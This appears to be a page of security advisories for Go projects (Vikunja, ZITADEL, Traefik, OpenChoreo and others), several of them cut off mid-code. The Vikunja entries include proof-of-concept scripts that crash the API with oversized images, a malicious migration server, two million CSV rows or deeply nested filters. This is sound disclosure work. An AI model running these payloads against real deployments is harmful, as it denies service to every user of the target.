Threats tagged 'go'

### Summary The 50-megapixel decode guard exists only on the task-attachment preview path. Avatar and project-background uploads decode uploaded images with no pixel cap. Worse, the avatar resize fixes the output height at 1024 and derives the width from the aspect ratio, so a tiny extreme-aspect-ratio PNG expands to an enormous output image — an input-side pixel cap would not catch it. ### Details The only `maxPixels` check (50MP) is in `TaskAttachment.GetPreview` (`pkg/models/task_attachment.go` ~lines 332-338). No such check guards: - avatar upload: `pkg/modules/avatar/upload/upload.go` (~lines 82, 137, 141) - project background: `pkg/modules/background/handler/background.go` (~lines 174, 269, 289) `imaging.Resize(img, 0, 1024, imaging.Lanczos)` (upload.go ~line 141) fixes height=1024 and derives width from the aspect ratio: a 20000x10 input yields a ~2,048,000 x 1024 output (~2.1 billion pixels), so a few-hundred-byte file drives huge CPU and memory. ### PoC (verified at runtime against v2.5.0) ``` PUT /api/v1/user/settings/avatar/upload avatar=8000x8000 PNG (64MP, 192KB) -> 200 (accepted; exceeds the 50MP attachment cap) PUT /api/v1/user/settings/avatar/upload avatar=20000x10 PNG (681 bytes) -> 200 after ~19.6s of server processing ``` Contrast (guard present): uploading the 64MP PNG as a task attachment and requesting its preview returns in ~1ms without decoding — `GetPreview` rejects it via `maxPixels` and falls back to the raw file. ### Impact A small crafted upload drives disproportionate CPU and memory on the avatar and background paths. Repeated or concurrent requests can exhaust server resources. Amplification comes from both the missing input pixel cap and the height-fixed resize, so an input-side cap alone is insufficient. ### Fix Apply a pixel-dimension cap (as on the attachment path) to the avatar and background decode paths, and bound the resize output dimensions (cap width as well as height).

# Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API ## Summary The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses. ## Impact and affected scope - **Type:** Resource Exhaustion Dos - **Affected component:** POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator - **Preconditions:** A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit. - **Verified revision:** `d66ef3d1a39c6f7289593059a1a34afd1d059260` on 28 August 2026 - **Affected release range:** `> 2.5.0` for the tested post-2.5.0 main branch; no released build was independently reproduced A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission. ## Technical details Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum. Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination Relevant code: - `pkg/routes/api/v2/migration_credentials.go:35` - `pkg/routes/api/v2/migration_shared.go:73` - `pkg/routes/api/v2/migration_shared.go:95` - `pkg/modules/migration/planka/client.go:37` - `pkg/modules/migration/planka/client.go:356` - `pkg/modules/migration/planka/fetch.go:29` - `pkg/modules/migration/planka/fetch.go:32` - `pkg/modules/migration/planka/convert.go:275` - `pkg/modules/migration/planka/convert.go:280` - `pkg/modules/migration/planka/convert.go:293` - `pkg/modules/migration/planka/planka.go:86` - `pkg/modules/migration/planka/planka.go:100` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27-bookworm AS builder WORKDIR /src COPY --from=target . . RUN mkdir -p frontend/dist \ && printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \ && go build -o /out/vikunja . FROM golang:1.27-bookworm RUN apt-get update \ && apt-get install -y --no-install-recommends ca-certificates curl python3 \ && rm -rf /var/lib/apt/lists/* WORKDIR /app COPY --from=builder /out/vikunja /app/vikunja COPY . /app RUN chmod +x /app/verify.sh ``` Create `reproduction/verify.sh`: ```sh #!/usr/bin/env bash set -euo pipefail test -d /target-repo test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260" test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}" mkdir -p /work/files /work/logs export VIKUNJA_DATABASE_TYPE=sqlite export VIKUNJA_DATABASE_PATH=/work/vikunja.db export VIKUNJA_FILES_BASEPATH=/work/files export VIKUNJA_LOG_PATH=/work/logs export VIKUNJA_SERVICE_ROOTPATH=/work export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456 export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/ export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/ python3 /app/malicious_planka.py > /work/planka.log 2>&1 & PLANKA_PID=$! /app/vikunja > /work/vikunja.log 2>&1 & VIKUNJA_PID=$! cleanup() { if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then kill "${VIKUNJA_PID}" 2>/dev/null || true wait "${VIKUNJA_PID}" 2>/dev/null || true fi if kill -0 "${PLANKA_PID}" 2>/dev/null; then kill "${PLANKA_PID}" 2>/dev/null || true wait "${PLANKA_PID}" 2>/dev/null || true fi } trap cleanup EXIT for _ in $(seq 1 90); do if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \ && curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then break fi sleep 1 done curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null curl -fsS http://93.184.216.34:18080/api/user

# Unbounded CSV row cardinality permits API process termination ## Summary The authenticated v2 CSV migration route caps upload bytes but not parsed row cardinality. It reads every record into a [][]string and then materializes a full task object for every row before insertion. Two million one-cell rows fit in a roughly 4 MB multipart request yet exhaust a 512 MiB API process. ## Impact and affected scope - **Type:** Resource Exhaustion Csv Import - **Affected component:** POST /api/v2/migration/csv/migrate - **Preconditions:** An ordinary authenticated user supplies a multipart CSV containing a very large number of tiny records plus a valid mapping configuration. - **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026 - **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested A low-privileged remote user can terminate the API process and deny service to all users with a request far below the configured upload-byte limit. ## Technical details csv.Reader.ReadAll retains every row, after which convertToVikunja allocates a task structure for each row; the existing upload-byte cap does not constrain this cardinality amplification. Attack path: Authenticate, upload two million one-cell records to the synchronous CSV migrate route with a valid ignore mapping, and exhaust process memory while parsing and materializing rows. Relevant code: - `pkg/routes/api/v2/migration_csv.go:96` - `pkg/routes/api/v2/migration_csv.go:164` - `pkg/modules/migration/csv/csv.go:281` - `pkg/modules/migration/csv/csv.go:298` - `pkg/modules/migration/csv/csv.go:590` - `pkg/modules/migration/csv/csv.go:605` - `pkg/modules/migration/csv/csv.go:627` - `pkg/modules/migration/csv/csv.go:643` - `pkg/modules/migration/csv/csv.go:655` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27.0-alpine RUN apk add --no-cache bash build-base ca-certificates python3 tzdata WORKDIR /app COPY . /app RUN chmod +x /app/*.sh 2>/dev/null || true # Target source is supplied only at runtime through /target-repo:ro. # This image contains build dependencies and reproduction helpers, not a clone. ``` Create `reproduction/client.py`: ```python #!/usr/bin/env python3 import json import sys import time import urllib.error import urllib.request import uuid BASE = "http://target:3456" def json_request(method, path, body=None, token=None, expected=None): raw = None if body is None else json.dumps(body).encode() headers = {"Accept": "application/json"} if body is not None: headers["Content-Type"] = "application/json" if token: headers["Authorization"] = "Bearer " + token req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method) try: with urllib.request.urlopen(req, timeout=30) as response: status, data = response.status, response.read() except urllib.error.HTTPError as exc: status, data = exc.code, exc.read() print(f"{method} {path} -> {status} {data[:250].decode(errors='replace')}", flush=True) if expected is not None and status != expected: raise RuntimeError(f"{method} {path}: got {status}, expected {expected}") return status, json.loads(data.decode()) if data else {} def wait_ready(): for _ in range(240): try: if json_request("GET", "/api/v1/info")[0] == 200: return except Exception: pass time.sleep(0.25) raise RuntimeError("target did not become ready") def register_and_login(username): password = "PoC-password-123!" json_request("POST", "/api/v2/register", { "username": username, "email": username + "@example.invalid", "password": password, }, expected=201) _, login = json_request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200) return login["token"] def migrate(token, csv_data, config, expect_response): boundary = "----PoC-" + uuid.uuid4().hex body = ( f"--{boundary}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n{config}\r\n".encode() + f"--{boundary}\r\nContent-Disposition: form-data; name=\"import\"; filename=\"fixture.csv\"\r\nContent-Type: text/csv\r\n\r\n".encode() + csv_data + f"\r\n--{boundary}--\r\n".encode() ) print(f"PoC_CSV_REQUEST rows={csv_data.count(bytes([10]))} request_bytes={len(body)}", flush=True) req = urllib.request.Request( BASE + "/api/v2/migration/csv/migrate", data=body, headers={"Authorization": "Bearer " + token, "Content-Type": "multipart/form-data; boundary=

# Unbounded nested task-filter recursion permits API process termination ## Summary Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process. ## Impact and affected scope - **Type:** Resource Exhaustion Recursive Parser - **Affected component:** GET /api/v2/projects/{project}/tasks?filter=<nested expression>; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString - **Preconditions:** A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter. - **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026 - **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested A single low-privileged network request can terminate the API process and deny service to all users. ## Technical details The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth. Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed. Relevant code: - `pkg/models/task_collection_filter.go:240` - `pkg/models/task_collection_filter.go:268` - `pkg/models/task_collection_filter.go:274` - `pkg/models/task_collection_filter.go:276` - `pkg/models/task_collection_filter.go:295` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27.0-alpine RUN apk add --no-cache bash build-base ca-certificates python3 tzdata WORKDIR /app COPY . /app RUN chmod +x /app/*.sh 2>/dev/null || true # Target source is supplied only at runtime through /target-repo:ro. # This image contains build dependencies and reproduction helpers, not a clone. ``` Create `reproduction/client.py`: ```python #!/usr/bin/env python3 import json import sys import time import urllib.error import urllib.parse import urllib.request BASE = "http://target:3456" def request(method, path, body=None, token=None, expected=None, timeout=30): raw = None if body is None else json.dumps(body).encode() headers = {"Accept": "application/json"} if body is not None: headers["Content-Type"] = "application/json" if token: headers["Authorization"] = "Bearer " + token req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method) try: with urllib.request.urlopen(req, timeout=timeout) as response: status, data = response.status, response.read() except urllib.error.HTTPError as exc: status, data = exc.code, exc.read() print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True) if expected is not None and status != expected: raise RuntimeError(f"{method}: got {status}, expected {expected}") return status, json.loads(data.decode()) if data else {} def wait_ready(): for _ in range(240): try: if request("GET", "/api/v1/info")[0] == 200: return except Exception: pass time.sleep(0.25) raise RuntimeError("target did not become ready") def filter_path(project_id, depth): expression = "(" * depth + "id = 1" + ")" * depth path = f"/api/v2/projects/{project_id}/tasks?filter=" + urllib.parse.quote(expression, safe="") print(f"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}", flush=True) return path def main(): wait_ready() username, password = "PoC-filter-user", "PoC-password-123!" request("POST", "/api/v2/register", { "username": username, "email": username + "@example.invalid", "password": password, }, expected=201) _, login = request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200) token = login["token"] _, project = request("PUT", "/api/v1/projects", {"title": "PoC filter project"}, token, 201) started = time.monotonic() request("GET", filter_path(project["id"], 1000), token=token, expected=200) print(f"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s", flush=True) try: status, _ = request("GET", filter_path(project["id"], 20000), token=token, timeout=90) raise RuntimeError(f"attack unexpectedly returned HTTP {status}") exc

ZITADEL versions prior to 4.16.0 contain a bug in the role revocation process for User Grants on Granted Projects when multiple roles are deleted simultaneously. This bug can cause some user permissions to be missed during cleanup, potentially allowing users to retain elevated access that should have been removed. The issue does not affect direct project roles or global organization roles. The vulnerability has been fixed in version 4.16.0 with an update that includes an automatic database migration to correct any leftover permissions. No configuration workarounds exist; upgrading is the recommended remediation.

A vulnerability in ZITADEL's OAuth2 Token Exchange endpoint allows an authenticated user or client to escalate privileges by exchanging a low-privilege token for a token with elevated permissions in a different application. This occurs due to missing verification of token ownership and scope restrictions during the token exchange process. The flaw affects ZITADEL versions 3.0.0 through 3.4.12 and 4.0.0 through 4.15.2. The issue has been fixed in versions 4.15.3 and later. Mitigations include upgrading to a patched version, disabling the Token Exchange feature flag, or removing the token exchange grant type from applications.

### Summary A flaw in the external identity provider handler allows unauthorized account linking to occur under specific administrative configurations. When auto-linking by email is enabled, ZITADEL checks that the local user's email is verified, but does not explicitly cross-check whether the incoming external identity provider (IdP) also verified that email address upstream. ### Impact When a user logs in via an external identity provider, the system can automatically link them to an existing local account if their email addresses match. However, because the system fails to check if the external provider actually verified ownership of that email, a security risk is introduced if a loose or public provider is connected. If an administrator enables email auto-linking for an external identity provider that allows anyone to sign up with an unverified email address, an attacker can exploit this behavior. By registering an account on that permissive provider using a victim's email address and logging in, the system will automatically link the attacker's federated identity to the victim's legitimate local account. This allows the attacker to log into the victim's account without requiring any interaction or confirmation from the victim. This issue represents a configuration-dependent anomaly rather than an unconditioned attack vector. Because the scenario relies entirely on an explicit administrative choice to trust a permissive external directory and link accounts automatically based purely on email strings, the practical operational risk is classified as **Medium**. ### Affected Versions Systems running one of the following versions are affected: * **4.x:** `4.0.0` through `4.15.2` (including RC versions) * **3.x:** `3.0.0` through `3.4.12` (including RC versions) ### Patches The vulnerability has been addressed in the latest releases. The patch resolves the issue by requiring that the external identity provider's email verification status is explicitly validated before allowing any automatic linking logic to proceed. * **4.x**: Upgrade to $\ge$ [4.15.3](https://github.com/zitadel/zitadel/releases/tag/v4.15.3) * **3.x**: Upgrade to $\ge$ [4.15.3](https://github.com/zitadel/zitadel/releases/tag/v4.15.3) ### Workarounds If an immediate upgrade is not possible, implement one of the following mitigations: * Disable auto-linking by email entirely by setting the option to `AUTO_LINKING_OPTION_UNSPECIFIED` on corresponding identity providers. * Audit external IdP configurations and restrict email auto-linking strictly to trusted enterprise identity directories (e.g., corporate Okta or Azure AD) where email verification is strictly enforced and managed by corporate policy. ### Questions If you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com) ### Credits Thanks to [Android-Login-Analysis](https://github.com/Android-Login-Analysis) and [Alejandro Yadlin](https://github.com/ayadlin) for reporting this vulnerability.

### Summary A token lifecycle validation vulnerability was discovered in ZITADEL's external JWT Identity Provider (IdP) implementation Specifically, within the validation pipeline, if an incoming JWT omits the `exp` claim entirely, the expiration block is silently skipped rather than rejected. The token is treated as valid forever. Per the OIDC Core 1.0 specification, identity token validation pipelines must strictly handle and enforce session expiration. ZITADEL's silent acceptance of tokens missing these temporal constraints compromises session integrity. ### Impact An attacker in possession of a token lacking an `exp` claim holds a permanent credential with no automatic expiration or revocation window. ### Affected Versions Systems running one of the following versions are affected: * **4.x**: `4.0.0` through `4.15.1` (including RC versions) * **3.x**: `3.0.0` through `3.4.11` (including RC versions) ### Patches The vulnerability has been addressed in the latest releases. ZITADEL now explicitly rejects tokens that lack an `exp` claim. * **4.x**: Upgrade to $\ge$ [4.15.2](https://github.com/zitadel/zitadel/releases/tag/v4.15.2) * **3.x**: Upgrade to $\ge$ [3.4.12](https://github.com/zitadel/zitadel/releases/tag/v3.4.12) ### Workarounds The recommended solution is to update ZITADEL to a patched version. If an immediate upgrade is not feasible, ensure at the upstream Identity Provider level that an external IdP explicitly includes the `exp` claim in all signed JWTs. ### Publication Note This issue was originally disclosed as part of a unified security bulletin published under [GHSA-wxg7-w2v3-w38g](https://github.com/zitadel/zitadel/security/advisories/GHSA-wxg7-w2v3-w38g). To satisfy CVE Numbering Authority regulations regarding independently fixable logic flaws, the missing token expiration validation (`exp`) has been moved into this separate tracking entry so a distinct CVE ID can be correctly mapped to it. ### Questions If there are any questions or comments about this advisory, send an email to [security@zitadel.com](mailto:security@zitadel.com) ### Credits ZITADEL thanks [Android-Login-Analysis](https://github.com/Android-Login-Analysis), Jason Zhou and [Pedro Giglioti](https://github.com/Punisher100) for reporting this vulnerability.

Traefik contains a medium severity vulnerability (CVE-2026-88011) involving header aliasing that allows identity spoofing via dot-form header names. Traefik treats headers with dashes, underscores, and dots as distinct, but some backends collapse these into the same variable, enabling an attacker to bypass ForwardAuth identity assertions. This affects Traefik v1.x, v2 up to 2.11.55, and v3 from 3.0.0 to 3.7.11. The vulnerability allows a permitted lower-privilege client to impersonate another user or role. Patches are available in v2.11.56 and v3.7.12, which introduce the aliasHeadersStrategy option to mitigate the issue.

A medium severity vulnerability in Traefik affects HTTP/3 entry points where the respondingTimeouts.readTimeout setting is not applied. This setting, which limits the time to read the entire request including its body, works for HTTP/1.1 and HTTP/2 but is ineffective for HTTP/3 due to architectural differences. As a result, an unauthenticated client can keep a request open indefinitely by trickling the request body slowly, consuming upstream connections and potentially exhausting backend connection pools. The issue affects Traefik versions from 2.8.2 up to but not including 2.11.56, and from 3.0.0 up to but not including 3.7.12. Patches are available in versions 2.11.56 and 3.7.12.

OpenChoreo's cluster-gateway internal proxy lacks caller authentication and improperly allows mutating requests, exposing internal management APIs that tunnel to connected Kubernetes data planes. This flaw permits unauthenticated parties with network access to read Secrets in tenant namespaces, modify workloads, and execute commands inside pods. The vulnerability affects versions prior to 1.0.3 and versions from 1.1.0 up to but not including 1.1.3. It is fixed in versions 1.0.3, 1.1.3, and 1.2.0. The severity is critical due to the potential for full cluster compromise if the internal listener is reachable by untrusted workloads without network restrictions.

SiYuan's publish mode includes a 'protected' access level that requires a password to read documents. However, several content-returning API endpoints bypass this password check, allowing anonymous users to retrieve the full content of password-protected documents. This occurs because these endpoints do not enforce the password protection that the primary content endpoint applies. The vulnerability has been reproduced on live instances, demonstrating that an attacker can bypass the password gate and access protected content without authentication.

OpenChoreo Workflow Plane templates prior to versions 1.0.4, 1.1.4, and 1.2.0-rc.2 are vulnerable to authenticated OS command injection via unsafe shell parameter interpolation. An authenticated user with workflow trigger permissions can inject arbitrary commands executed inside privileged workflow pods, potentially running as root on the host. This allows access to source code, secrets, service account tokens, and possibly host resources depending on environment configuration. The vulnerability arises from direct interpolation of developer-controlled parameters into shell scripts executed with sh -c. The issue is fixed by passing parameters as environment variables and enabling pod user namespaces to isolate privileged containers. Users should upgrade to patched versions or apply corrected workflow templates and restrict workflow permissions as a workaround.

OpenChoreo versions prior to 1.0.3, between 1.1.0 and 1.1.3, and certain 1.2.0 release candidates contain a vulnerability in the autobuild webhook endpoint that allows unauthenticated triggering of builds. This occurs because the git provider used for authentication is selected based on a client-supplied header rather than the component's configuration, and Bitbucket webhooks were accepted without valid signature verification. An attacker can bypass HMAC secret validation and trigger builds on any matching auto-build component cluster-wide, potentially causing unauthorized builds and deployments or resource exhaustion.

OpenChoreo API server versions before 1.1.6 and between 1.2.0-m.1 and before 1.2.3 contain an authorization flaw in the exec and wirelogs endpoints. These endpoints authorize requests based on the caller-supplied project parameter rather than the actual owning project of the target component. This allows an authenticated user with a project-scoped exec or wirelogs view grant on any single project to execute commands and read wirelogs of components owned by other projects within the same namespace. The vulnerability does not cross namespace boundaries but enables cross-project command execution and data access within a namespace.

OpenChoreo versions prior to 1.0.2 and between 1.1.0 and 1.1.2 have a critical vulnerability where the cluster-gateway management APIs are exposed on the same external listener as data-plane agent connections without authentication. This allows an attacker with network access to the cluster-gateway endpoint to perform privileged data-plane operations, including proxying the Kubernetes API and executing commands inside workload pods, potentially leading to full workload compromise. The issue affects multi-cluster topologies where the cluster-gateway is published outside the cluster. Fixed versions 1.0.2, 1.1.2, and 1.2.0 separate management APIs onto an internal listener not exposed externally. Workarounds include restricting external gateway access to known source addresses if immediate upgrade is not possible.

SeaweedFS contains an authorization bypass vulnerability in its filer JWT allowed_prefixes implementation. The flaw arises because the authorization check uses a literal byte-prefix match, allowing tokens scoped to a path prefix like /tenant1 to also access sibling paths such as /tenant1234 or /tenant1backup. This enables cross-tenant read and write access in multi-tenant deployments. The issue is fixed in SeaweedFS version 4.24 by normalizing paths and matching on path components rather than raw string prefixes.

gRPC-Go is the Go language implementation of gRPC. Prior to 1.83.1, internal/transport/transport.go stores each fragmented HTTP/2 DATA frame as a separate recvMsg in recvBuffer, so millions of one-byte frames can consume disproportionate heap memory even when payload bytes remain within connection and stream flow-control windows. An unauthenticated remote attacker can use concurrent multiplexed streams to exhaust process memory and cause a runtime panic or out-of-memory termination. Receive-buffer compaction is enabled by default and can be controlled temporarily with GRPC_GO_EXPERIMENTAL_ENABLE_RECEIVE_BUFFER_COMPACTION. This issue is fixed in version 1.83.1.

The AUSF component of free5GC (versions prior to 1.4.5) uses non-constant-time comparison functions for authentication response values in 5G-AKA and EAP-AKA' flows. Additionally, sensitive authentication material (XRES*) is logged at INFO level in the 5G-AKA flow, exposing it to anyone with access to AUSF logs. While timing side-channel leakage was confirmed in code, practical remote exploitation over HTTP was not demonstrated due to noise. The vulnerability has a low CVSS score and a patch is available.

The AUSF component of free5GC versions up to 1.4.4 has a vulnerability where concurrent authentication requests for the same subscriber identity (SUPI) overwrite the authentication context. This causes legitimate authentication responses to fail verification, resulting in a denial of service for that subscriber. The issue arises because the authentication context is stored in a global map keyed only by SUPI without session uniqueness or concurrency control.